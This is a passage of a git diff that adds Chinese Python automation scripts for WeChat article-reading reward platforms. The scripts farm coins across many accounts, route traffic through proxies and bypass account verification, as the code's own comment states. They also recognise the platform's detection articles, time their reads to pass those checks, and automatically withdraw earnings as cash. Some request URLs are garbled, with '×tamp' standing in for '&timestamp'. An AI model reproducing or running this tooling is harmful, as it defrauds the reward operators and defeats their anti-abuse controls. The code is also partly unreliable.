"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
|
||||
# parsed_domain 将在此循环中尝试被赋值
|
||||
# 如果循环因错误提前退出,parsed_domain 可能未定义,后续使用会引发 NameError
|
||||
for _ in range(11):
|
||||
try:
|
||||
parsed_url_obj = urlparse(current_url)
|
||||
headers["Host"] = parsed_url_obj.netloc
|
||||
response = session.get(current_url, headers=headers, allow_redirects=False, timeout=10)
|
||||
if response.status_code in (301, 302, 303, 307, 308):
|
||||
location = response.headers.get("Location", "")
|
||||
if not location:
|
||||
print(f"❗重定向错误: Location header为空,URL: {current_url}", flush=True)
|
||||
break
|
||||
current_url = urljoin(current_url, location)
|
||||
else:
|
||||
parsed_domain = urlparse(current_url).netloc.lstrip("www.") # 赋值点
|
||||
if parsed_domain:
|
||||
print(f"✅ 成功获取活动域名: {parsed_domain}", flush=True)
|
||||
else:
|
||||
print(f"❗域名解析失败: 无法从 {current_url} 解析出有效域名", flush=True)
|
||||
break
|
||||
except (requests.RequestException, requests.exceptions.InvalidURL) as e:
|
||||
print(f"❗重定向或请求错误: {e}", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print(f"❗解析当前URL时发生错误 ({current_url}): {e}", flush=True)
|
||||
break
|
||||
|
||||
# 验证用户
|
||||
codeid_value = None
|
||||
try:
|
||||
response_text = requests.get(
|
||||
f"http://{parsed_domain}/?inviteid=0", # NameError risk if parsed_domain not set
|
||||
headers={
|
||||
"Host": f"{parsed_domain}", # NameError risk if parsed_domain not set
|
||||
"Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm", "Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
},
|
||||
timeout=10
|
||||
).text
|
||||
match = re.compile(r'codeid\s*=\s*"(\d+)"').search(response_text)
|
||||
if match:
|
||||
codeid_value = match.group(1)
|
||||
print(f"ℹ️ 从页面获取到的 codeid: {codeid_value}", flush=True)
|
||||
else:
|
||||
print("❗警告:未在页面中找到codeid", flush=True)
|
||||
except NameError:
|
||||
print(f"❗获取codeid失败:活动域名 'parsed_domain' 未能成功解析。", flush=True)
|
||||
return
|
||||
except requests.RequestException as e:
|
||||
print(f"❗获取codeid时网络请求失败: {e}", flush=True)
|
||||
return # 网络请求失败也应该终止
|
||||
except re.error as e:
|
||||
print(f"❗获取codeid时正则错误: {e}", flush=True)
|
||||
return # 正则错误也应该终止
|
||||
except Exception as e:
|
||||
print(f"❗获取codeid时发生未知错误: {e}", flush=True)
|
||||
return # 其他未知错误也终止
|
||||
|
||||
# 获取id
|
||||
dynamic_id_value = None
|
||||
try:
|
||||
response_text_for_id = requests.get(
|
||||
f"http://{parsed_domain}/?inviteid=0", # NameError risk if parsed_domain not set
|
||||
headers={
|
||||
"Host": f"{parsed_domain}", # NameError risk if parsed_domain not set
|
||||
"Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm", "Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
},
|
||||
timeout=10
|
||||
).text
|
||||
id_match = re.compile(r'我的id:(\d+)').search(response_text_for_id)
|
||||
if id_match:
|
||||
dynamic_id_value = id_match.group(1)
|
||||
else:
|
||||
print("❗警告:未在页面中找到 '我的id:'", flush=True)
|
||||
except NameError:
|
||||
print(f"❗获取'我的id:'失败:活动域名 'parsed_domain' 未能成功解析。", flush=True)
|
||||
# 如果到这里,通常在获取 codeid 时已 return
|
||||
except requests.RequestException as e:
|
||||
print(f"❗获取'我的id:'时网络请求失败: {e}", flush=True)
|
||||
except re.error as e:
|
||||
print(f"❗获取'我的id:'时正则错误: {e}", flush=True)
|
||||
except Exception as e:
|
||||
print(f"❗获取'我的id:'时发生未知错误: {e}", flush=True)
|
||||
|
||||
# 开始阅读
|
||||
print(f"\n{'=' * 10}🔰开始执行账号{i}🔰{'=' * 10}\n", flush=True)
|
||||
|
||||
# === 修改点:绕过codeid检测 ===
|
||||
print("👌 账号验证成功 [检测已绕过]", flush=True)
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
# 移除了这里的 if 'parsed_domain' not in locals() or not parsed_domain: 检查
|
||||
# 如果 parsed_domain 未定义,下面使用时会直接 NameError (除非上面获取 codeid 时已因 NameError return)
|
||||
|
||||
url_gold_info = f"http://{parsed_domain}/yunonline/v1/gold"
|
||||
headers_gold_info = {
|
||||
"Host": f"{parsed_domain}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"http://{parsed_domain}/", "Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Cookie": f"ysmuid={ysmuid}; ejectCode=1"
|
||||
}
|
||||
params_gold_info = {"unionid": f"{unionid}", "time": int(time.time() * 1000)}
|
||||
|
||||
try:
|
||||
response_gold_json = requests.get(url_gold_info, headers=headers_gold_info, params=params_gold_info,
|
||||
timeout=10).json()
|
||||
except NameError: # 以防万一 parsed_domain 还是问题
|
||||
print(f"❗获取金币信息失败:活动域名 'parsed_domain' 未定义。", flush=True)
|
||||
return
|
||||
except requests.RequestException as e:
|
||||
print(f"❗获取金币信息时网络错误: {e}", flush=True)
|
||||
return
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"❗获取金币信息时JSON解析错误: {e}", flush=True)
|
||||
return
|
||||
|
||||
if response_gold_json.get("errcode") == 0:
|
||||
data_gold = response_gold_json.get("data", {})
|
||||
day_gold = data_gold.get("day_gold", "未知")
|
||||
day_read = data_gold.get("day_read", "未知")
|
||||
last_gold = data_gold.get("last_gold", "未知")
|
||||
remain_read = data_gold.get("remain_read", "未知")
|
||||
|
||||
print(f"🙍 ID:{dynamic_id_value if dynamic_id_value else '未获取到'}", flush=True)
|
||||
print(f"💰 当前金币:{last_gold}\n📖 今日已读:{day_read} 剩余:{remain_read}", flush=True)
|
||||
print("🔔 自动提现已关闭" if money_Withdrawal == 0 else "🔔 自动提现已开启", flush=True)
|
||||
print(f"{'=' * 10}📖开始阅读文章📖{'=' * 10}\n", flush=True)
|
||||
|
||||
for article_count in range(33):
|
||||
current_timestamp = int(time.time() * 1000)
|
||||
checkDict = [
|
||||
"MzkzMTYyMDU0OQ==", "Mzk0NDcxMTk2MQ==", "MzkzNTYxOTgyMA==",
|
||||
"MzkzNDYxODY5OA==", "MzkwNzYwNDYyMQ==", "MzkyNjY0MTExOA==",
|
||||
"MzkwMTYwNzcwMw==", "Mzg4NTcwODE1NA==", "MzkyMjYxNzQ2NA==",
|
||||
"Mzk5MDc1MDQzOQ==", "MzkyMTc0MDU5Nw==", "Mzk4ODQzNzU3NA=="
|
||||
]
|
||||
time.sleep(1)
|
||||
url_get_article_domain = f"http://{parsed_domain}/wtmpdomain2" # NameError risk
|
||||
headers_get_article_domain = {
|
||||
"Host": f"{parsed_domain}", "Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"User-Agent": f"{UA} {uas}", "X-Requested-With": "XMLHttpRequest",
|
||||
"Origin": f"http://{parsed_domain}", "Referer": f"http://{parsed_domain}/?inviteid=0",
|
||||
"Cookie": f"ysmuid={ysmuid};ejectCode=1"
|
||||
}
|
||||
data_get_article_domain = {"unionid": unionid}
|
||||
|
||||
response_article_domain_json = None
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response_article_domain_json = requests.post(url_get_article_domain,
|
||||
headers=headers_get_article_domain,
|
||||
data=data_get_article_domain, timeout=25).json()
|
||||
break
|
||||
except (ConnectionError, Timeout) as e_net:
|
||||
print(f"❗获取文章域名网络异常 (尝试 {retry + 1}/{max_retries}): {e_net}", flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗网络异常退出 (获取文章域名)", flush=True);
|
||||
return
|
||||
except json.JSONDecodeError as e_json:
|
||||
print(f"❗获取文章域名JSON解析错误 (尝试 {retry + 1}/{max_retries}): {e_json}", flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗JSON解析错误退出 (获取文章域名)", flush=True);
|
||||
return
|
||||
except Exception as e:
|
||||
print(f"❗获取文章域名发生未知错误 (尝试 {retry + 1}/{max_retries}): {e}", flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗未知错误退出 (获取文章域名)", flush=True);
|
||||
return
|
||||
|
||||
if not response_article_domain_json or response_article_domain_json.get("errcode") != 0:
|
||||
err_msg = response_article_domain_json.get('msg', '未知错误') if response_article_domain_json else '无响应'
|
||||
print(f"❗获取文章域名失败: {err_msg}", flush=True)
|
||||
break
|
||||
|
||||
time.sleep(1)
|
||||
article_page_domain_str = response_article_domain_json['data']['domain']
|
||||
article_page_url_parts = urlparse(article_page_domain_str)
|
||||
gt = parse_qs(article_page_url_parts.query).get('gt', [''])[0]
|
||||
|
||||
if not gt:
|
||||
print(f"❗无法从文章域名响应中获取gt参数: {article_page_domain_str}", flush=True)
|
||||
break
|
||||
|
||||
url_get_article_link = f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/sdaxeryy?gt={gt}&time={current_timestamp}&psgn=168&vs=120"
|
||||
headers_get_article_link = {
|
||||
"Host": f"{article_page_url_parts.netloc}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/xsysy.html?{article_page_url_parts.query}",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
|
||||
response_article_link_json = None
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response_article_link_json = requests.get(url_get_article_link, headers=headers_get_article_link,
|
||||
timeout=25).json()
|
||||
break
|
||||
except (ConnectionError, Timeout) as e_net: # This is where the current error in log happens
|
||||
print(f"❗获取文章链接网络异常 (尝试 {retry + 1}/{max_retries}): {e_net}", flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗网络异常退出 (获取文章链接)", flush=True);
|
||||
return # Script exits here for the account
|
||||
except json.JSONDecodeError as e_json:
|
||||
print(f"❗获取文章链接JSON解析错误 (尝试 {retry + 1}/{max_retries}): {e_json}", flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗JSON解析错误退出 (获取文章链接)", flush=True);
|
||||
return
|
||||
except Exception as e:
|
||||
print(f"❗获取文章链接发生未知错误 (尝试 {retry + 1}/{max_retries}): {e}", flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗未知错误退出 (获取文章链接)", flush=True);
|
||||
return
|
||||
|
||||
if not response_article_link_json or response_article_link_json.get("errcode") != 0:
|
||||
err_code_val = response_article_link_json.get("errcode", "N/A") if response_article_link_json else "N/A"
|
||||
err_msg = response_article_link_json.get('msg', '未知错误') if response_article_link_json else '无响应'
|
||||
print(f"❗获取文章链接失败 (errcode: {err_code_val}): {err_msg}", flush=True)
|
||||
if err_code_val == 405 or err_code_val == 407:
|
||||
print(f"❗请尝试重新运行", flush=True)
|
||||
break
|
||||
|
||||
link = response_article_link_json.get('data', {}).get('link')
|
||||
if not link:
|
||||
print("❗未找到link", flush=True)
|
||||
break
|
||||
|
||||
biz_match = re.search(r'__biz=([^&]+)', link)
|
||||
biz = biz_match.group(1) if biz_match else "❗未知来源文章"
|
||||
read_sleep_time = random.randint(8, 25)
|
||||
detection_delay = random.randint(120, 135)
|
||||
|
||||
current_day_read = 0
|
||||
if isinstance(day_read, (int, str)) and str(day_read).isdigit():
|
||||
current_day_read = int(day_read)
|
||||
|
||||
print(f"✅ 第{current_day_read + article_count + 1}篇文章获取成功---文章来源--- {biz}", flush=True)
|
||||
print(f"📖 开始阅读: {link}", flush=True)
|
||||
|
||||
if biz == "❗未知来源文章" or biz in checkDict:
|
||||
print(f"❗❗❗发现检测文章--- {biz} 待运行账号 {token} 当前时间 {str(datetime.datetime.now())}", flush=True)
|
||||
# 得到当前时间
|
||||
|
||||
QLAPI.notify("⚠️ 小阅阅检测文章!待过检测账号:" + token, "请在120s内完成阅读!\n"
|
||||
"当前时间:" + str(datetime.datetime.now()) +
|
||||
"\n文章链接:" + link + "\n文章来源:" + biz)
|
||||
# url_pushplus = "http://www.pushplus.plus/send"
|
||||
# data_pushplus = {
|
||||
# "token": token, "title": "⚠️ 小阅阅检测文章!请在120s内完成阅读!",
|
||||
# "content": f'<a href="{link}" target="_blank">👉点击阅读8s以上并返回</a><br>链接(备用): {link}',
|
||||
# "template": "html"
|
||||
# }
|
||||
# push_success = False
|
||||
# for attempt in range(max_retries):
|
||||
# try:
|
||||
# response_push = requests.post(url_pushplus, data=data_pushplus, timeout=10).json()
|
||||
# if response_push.get("code") == 200:
|
||||
# print(f"❗❗❗检测文章已推送至微信,请到微信完成阅读…\n🕗{detection_delay}s后继续运行…",
|
||||
# flush=True)
|
||||
# push_success = True
|
||||
# break
|
||||
# else:
|
||||
# print(f"❗❗❗检测文章推送失败: {response_push.get('msg', '未知错误')}", flush=True)
|
||||
# except Exception as e_push:
|
||||
# print(f"❗❗❗推送请求异常:{str(e_push)}", flush=True)
|
||||
# if attempt < max_retries - 1: print("❗❗❗正在尝试重新推送...", flush=True); time.sleep(3.5)
|
||||
#
|
||||
# if not push_success:
|
||||
# print(f"❗❗❗检测文章推送最终失败,脚本终止。", flush=True)
|
||||
# return
|
||||
|
||||
time.sleep(detection_delay)
|
||||
url_submit_detection = f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/jinbicp?gt={gt}&time={read_sleep_time}×tamp={current_timestamp}"
|
||||
headers_submit_detection = {
|
||||
"Host": f"{article_page_url_parts.netloc}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/xsysy.html?{article_page_url_parts.query}",
|
||||
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
response_submit_detection_json = None
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response_submit_detection_json = requests.get(url_submit_detection,
|
||||
headers=headers_submit_detection,
|
||||
timeout=25).json()
|
||||
break
|
||||
except Exception as e_submit_det:
|
||||
print(f"❗提交检测文章状态网络异常 (尝试 {retry + 1}/{max_retries}): {e_submit_det}", flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗网络异常退出 (提交检测文章)", flush=True);
|
||||
break
|
||||
|
||||
if response_submit_detection_json and response_submit_detection_json.get("errcode") == 0:
|
||||
gold_earned = response_submit_detection_json.get('data', {}).get('gold', '未知')
|
||||
print(f"✅ 第{article_count + 1}次阅读检测文章成功---获得金币:💰{gold_earned}💰", flush=True)
|
||||
else:
|
||||
err_msg = response_submit_detection_json.get('msg',
|
||||
'提交失败或无响应') if response_submit_detection_json else '提交失败或无响应'
|
||||
print(f"❗❗❗过检测失败: {err_msg}", flush=True)
|
||||
break
|
||||
else:
|
||||
time.sleep(read_sleep_time)
|
||||
url_submit_normal = f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/jinbicp?gt={gt}&time={read_sleep_time}×tamp={current_timestamp}"
|
||||
headers_submit_normal = {
|
||||
"Host": f"{article_page_url_parts.netloc}", "Connection": "keep-alive", "User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{article_page_url_parts.scheme}://{article_page_url_parts.netloc}/xsysy.html?{article_page_url_parts.query}",
|
||||
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
response_submit_normal_json = None
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response_submit_normal_json = requests.get(url_submit_normal, headers=headers_submit_normal,
|
||||
timeout=25).json()
|
||||
break
|
||||
except Exception as e_submit_norm:
|
||||
print(f"❗提交普通文章状态网络异常 (尝试 {retry + 1}/{max_retries}): {e_submit_norm}",
|
||||
flush=True)
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
else:
|
||||
print("❗网络异常退出 (提交普通文章)", flush=True);
|
||||
break
|
||||
|
||||
if response_submit_normal_json and response_submit_normal_json.get("errcode") == 0:
|
||||
gold_earned = response_submit_normal_json.get("data", {}).get("gold", "未知")
|
||||
print(f"📖 本次模拟阅读{read_sleep_time}秒", flush=True)
|
||||
print(f"✅ 第{article_count + 1}次阅读成功---获得金币:💰{gold_earned}💰", flush=True)
|
||||
else:
|
||||
err_msg = response_submit_normal_json.get('msg',
|
||||
'提交失败或无响应') if response_submit_normal_json else '提交失败或无响应'
|
||||
print(f"❗阅读文章失败: {err_msg}", flush=True)
|
||||
break
|
||||
print(f"{'-' * 60}\n", flush=True)
|
||||
|
||||
if money_Withdrawal == 1:
|
||||
current_last_gold = 0
|
||||
if isinstance(last_gold, (int, str)) and str(last_gold).isdigit():
|
||||
current_last_gold = int(last_gold)
|
||||
|
||||
if current_last_gold > 5000:
|
||||
print(f"{'=' * 12}💰开始提现💰{'=' * 12}\n", flush=True)
|
||||
try:
|
||||
url_withdraw_page = f"http://{parsed_domain}"
|
||||
headers_withdraw_page = {
|
||||
"Host": f"{parsed_domain}", "Connection": "keep-alive", "Cache-Control": "max-age=0",
|
||||
"Upgrade-Insecure-Requests": "1", "User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm", "Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
response_withdraw_page_text = requests.get(url_withdraw_page, headers=headers_withdraw_page,
|
||||
timeout=10).text
|
||||
res1 = re.sub('\s', '', response_withdraw_page_text)
|
||||
exchangeUrl_match = re.findall('"target="_blank"href="(.*?)">提现<', res1)
|
||||
if not exchangeUrl_match:
|
||||
print("❗提现失败:未能在页面找到提现链接。", flush=True)
|
||||
return
|
||||
|
||||
eurl = exchangeUrl_match[0]
|
||||
eurl_parsed = urlparse(eurl)
|
||||
eurl_host = eurl_parsed.netloc
|
||||
eurl_query_dict = parse_qs(eurl_parsed.query)
|
||||
eurl_unionid = eurl_query_dict.get('unionid', [''])[0]
|
||||
eurl_request_id = eurl_query_dict.get('request_id', [''])[0]
|
||||
|
||||
if not all([eurl_host, eurl_unionid, eurl_request_id]):
|
||||
print(
|
||||
f"❗提现链接解析不完整: host={eurl_host}, unionid={eurl_unionid}, request_id={eurl_request_id}",
|
||||
flush=True)
|
||||
return
|
||||
|
||||
gold_to_withdraw = int(current_last_gold / 1000) * 1000
|
||||
if gold_to_withdraw < 5000:
|
||||
print(f"🔔 金币 ({current_last_gold}) 计算后不足5000 ({gold_to_withdraw}),不执行提现\n",
|
||||
flush=True)
|
||||
return
|
||||
|
||||
print(f"💰 准备提现金额:{gold_to_withdraw}", flush=True)
|
||||
|
||||
url_user_gold = f"http://{eurl_host}/yunonline/v1/user_gold"
|
||||
headers_user_gold = {
|
||||
"Host": f"{eurl_host}", "Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest", "User-Agent": f"{UA} {uas}",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Origin": f"http://{eurl_host}", "Referer": eurl, "Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
data_user_gold = {"unionid": eurl_unionid, "request_id": eurl_request_id, "gold": gold_to_withdraw}
|
||||
response_user_gold_json = requests.post(url_user_gold, headers=headers_user_gold,
|
||||
data=data_user_gold, timeout=10).json()
|
||||
|
||||
if response_user_gold_json.get("errcode") != 0:
|
||||
print(f"❗提现预请求失败: {response_user_gold_json.get('msg', '未知错误')}", flush=True)
|
||||
return
|
||||
|
||||
url_final_withdraw = f"http://{eurl_host}/yunonline/v1/withdraw"
|
||||
headers_final_withdraw = headers_user_gold
|
||||
data_final_withdraw = {
|
||||
"unionid": eurl_unionid, "signid": eurl_request_id, "ua": "2",
|
||||
"ptype": "0", "paccount": "", "pname": ""
|
||||
}
|
||||
response_final_withdraw_json = requests.post(url_final_withdraw, headers=headers_final_withdraw,
|
||||
data=data_final_withdraw, timeout=10).json()
|
||||
|
||||
if response_final_withdraw_json.get("errcode") == 0:
|
||||
print("💰 恭喜您,提现成功!\n", flush=True)
|
||||
else:
|
||||
print(f"❗提现失败: {response_final_withdraw_json.get('msg', '未知错误')}", flush=True)
|
||||
|
||||
except requests.RequestException as e_wd:
|
||||
print(f"❗提现过程中网络错误: {e_wd}", flush=True)
|
||||
except json.JSONDecodeError as e_wd_json:
|
||||
print(f"❗提现过程中JSON解析错误: {e_wd_json}", flush=True)
|
||||
except IndexError:
|
||||
print(f"❗提现失败:解析提现链接时发生错误 (IndexError)。", flush=True)
|
||||
except Exception as e_wd_unknown:
|
||||
print(f"❗提现过程中发生未知错误: {e_wd_unknown}", flush=True)
|
||||
|
||||
elif not isinstance(last_gold, (int, str)) or not str(last_gold).isdigit():
|
||||
print(f"🔔 金币值 ({last_gold}) 无效,无法判断是否提现\n", flush=True)
|
||||
else:
|
||||
print(f"{'=' * 17}{'=' * 17}", flush=True)
|
||||
print(f"🔔 金币 ({current_last_gold}) 不足5000,不执行提现\n", flush=True)
|
||||
elif money_Withdrawal == 0:
|
||||
print(f"{'=' * 17}{'=' * 17}", flush=True)
|
||||
print(f"🔔 自动提现已关闭,不执行提现\n", flush=True)
|
||||
else:
|
||||
print(f"❗获取用户信息失败: {response_gold_json.get('msg', '未知错误')}", flush=True)
|
||||
return # Return if user info fails
|
||||
|
||||
|
||||
def notice():
|
||||
try:
|
||||
response = requests.get("https://gitee.com/jdqlscript/zy/raw/master/label.txt", timeout=50)
|
||||
response.raise_for_status()
|
||||
print(response.text)
|
||||
except requests.RequestException as e:
|
||||
print(f"❗网络异常,获取通知时出错: {e}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
notice()
|
||||
accounts_env = os.getenv("xyy")
|
||||
money_Withdrawal = 0 if os.getenv("xyytx", "0") == "0" else 1
|
||||
|
||||
UA_env = os.getenv("UA")
|
||||
if UA_env is None:
|
||||
print("❗未找到环境变量 UA,程序终止。", flush=True)
|
||||
exit()
|
||||
UA = UA_env
|
||||
|
||||
if accounts_env is None:
|
||||
print("❗未找到环境变量 xyy,程序终止。", flush=True)
|
||||
exit()
|
||||
else:
|
||||
accounts_list = accounts_env.split("@")
|
||||
num_of_accounts = len(accounts_list)
|
||||
print(f"\n获取到 {num_of_accounts} 个账号", flush=True)
|
||||
for i, account_str in enumerate(accounts_list, start=1):
|
||||
if not account_str.strip():
|
||||
print(f"第 {i} 个账号为空,已跳过。", flush=True)
|
||||
continue
|
||||
try:
|
||||
if len(account_str.split("&")) < 3:
|
||||
print(f"❗第 {i} 个账号格式不正确 (应为 ysmuid&unionid&token),已跳过: {account_str}", flush=True)
|
||||
continue
|
||||
except IndexError:
|
||||
print(f"❗第 {i} 个账号格式解析错误 (IndexError),已跳过: {account_str}", flush=True)
|
||||
continue
|
||||
|
||||
process_account(account_str, i)
|
||||
|
||||
if __name__ == '__main__': pass
|
||||
39
微信阅读/恰恰续期.py
Normal file
39
微信阅读/恰恰续期.py
Normal file
@@ -0,0 +1,39 @@
|
||||
import time, json, random, requests, os
|
||||
|
||||
def getHomeInfo():
|
||||
"""获取首页信息"""
|
||||
url = 'https://read.tslu.cn/abaaba/getHomeInfo/'
|
||||
headers = {
|
||||
'Host': 'read.tslu.cn',
|
||||
'Connection': 'keep-alive',
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'User-Agent': UA_USER_AGENT,
|
||||
'Origin': 'http://we.e9l.cn',
|
||||
'Sec-Fetch-Site': 'cross-site',
|
||||
'Sec-Fetch-Mode': 'cors',
|
||||
'Sec-Fetch-Dest': 'empty',
|
||||
'Referer': 'http://we.e9l.cn/',
|
||||
'Accept-Encoding': 'gzip, deflate, br',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9',
|
||||
}
|
||||
params = {'token': TOKEN}
|
||||
|
||||
try:
|
||||
response = requests.get(url, headers=headers, params=params).json()
|
||||
if response.get('code') == 0:
|
||||
home_data = response.get('data', {})
|
||||
print(
|
||||
f"首页信息 - 用户ID: {home_data.get('id', '未知')} | 累计阅读: {home_data.get('dayreads', 0)}天 | 金币: {home_data.get('gold', 0)}")
|
||||
return home_data
|
||||
else:
|
||||
print(f"首页信息获取失败: {response.get('msg', '未知错误')}")
|
||||
except Exception as e:
|
||||
print(f"首页信息请求异常: {str(e)}")
|
||||
return None
|
||||
|
||||
|
||||
UA_USER_AGENT = os.getenv("qqyd_ua")
|
||||
QQ_TOKEN = os.getenv('QQ_TOKEN')
|
||||
TOKENS = QQ_TOKEN.split('#')
|
||||
for TOKEN in TOKENS:
|
||||
getHomeInfo()
|
||||
321
微信阅读/恰恰阅读.py
Normal file
321
微信阅读/恰恰阅读.py
Normal file
@@ -0,0 +1,321 @@
|
||||
# 配置说明:
|
||||
# 1. 环境变量 QQ_TOKEN: 配置token账号信息支持多账号分隔符:#
|
||||
# 2. 环境变量 qqyd_ua: 配置UA信息
|
||||
# 3. 可配置过检测接口
|
||||
# 4. 环境变量 qqyd_proxy: 配置代理连接,注意代理时长选择!注意代理时长选择!注意代理时长选择!同一账号运行时不要换ip(4.0更新内容)
|
||||
# 活动入口 https://img.hnking.cn/blog/202509041844746.png
|
||||
|
||||
import time, json, random, requests, os
|
||||
from urllib.parse import urlparse, parse_qs, unquote
|
||||
|
||||
PROXY_URL = os.getenv("qqyd_proxy")
|
||||
UA_USER_AGENT = os.getenv("qqyd_ua")
|
||||
# 配置
|
||||
API_URL = '' # 检测文章提交接口URL
|
||||
|
||||
def get_random_r():
|
||||
return str(random.uniform(0, 1))
|
||||
|
||||
|
||||
def gettime():
|
||||
return str(int(time.time() * 1000))
|
||||
|
||||
|
||||
def extract_biz(url):
|
||||
"""从微信公众号文章链接中提取__biz参数值"""
|
||||
# 解析URL
|
||||
parsed_url = urlparse(url)
|
||||
|
||||
# 解析查询参数
|
||||
query_params = parse_qs(parsed_url.query)
|
||||
|
||||
# 提取__biz参数
|
||||
if '__biz' in query_params:
|
||||
return query_params['__biz'][0]
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
def getHomeInfo():
|
||||
"""获取首页信息"""
|
||||
url = 'https://read.tslu.cn/abaaba/getHomeInfo/'
|
||||
params = {'token': TOKEN}
|
||||
headers = {
|
||||
'Host': 'read.tslu.cn',
|
||||
'Connection': 'keep-alive',
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'User-Agent': UA_USER_AGENT,
|
||||
'Origin': 'http://we.e9l.cn',
|
||||
'Sec-Fetch-Site': 'cross-site',
|
||||
'Sec-Fetch-Mode': 'cors',
|
||||
'Sec-Fetch-Dest': 'empty',
|
||||
'Referer': 'http://we.e9l.cn/',
|
||||
'Accept-Encoding': 'gzip, deflate, br',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9',
|
||||
}
|
||||
try:
|
||||
response = requests.get(url, headers=headers, params=params,proxies=proxies).json()
|
||||
if response.get('code') == 0:
|
||||
home_data = response.get('data', {})
|
||||
print(
|
||||
f"首页信息 - 用户ID: {home_data.get('id', '未知')} | 累计阅读: {home_data.get('dayreads', 0)}天 | 金币: {home_data.get('gold', 0)}")
|
||||
return home_data
|
||||
else:
|
||||
print(f"首页信息获取失败: {response.get('msg', '未知错误')}")
|
||||
except Exception as e:
|
||||
print(f"首页信息请求异常: {str(e)}")
|
||||
return None
|
||||
|
||||
|
||||
def getReadUrl():
|
||||
url = 'https://read.tslu.cn/abaaba/getReadUrl/'
|
||||
headers = {
|
||||
'Host': 'read.tslu.cn',
|
||||
'Connection': 'keep-alive',
|
||||
'Accept': 'application/json, text/javascript, */*; q=0.01',
|
||||
'User-Agent': UA_USER_AGENT,
|
||||
'Origin': 'http://we.e9l.cn',
|
||||
'Sec-Fetch-Site': 'cross-site',
|
||||
'Sec-Fetch-Mode': 'cors',
|
||||
'Sec-Fetch-Dest': 'empty',
|
||||
'Referer': 'http://we.e9l.cn/',
|
||||
'Accept-Encoding': 'gzip, deflate, br',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9',
|
||||
}
|
||||
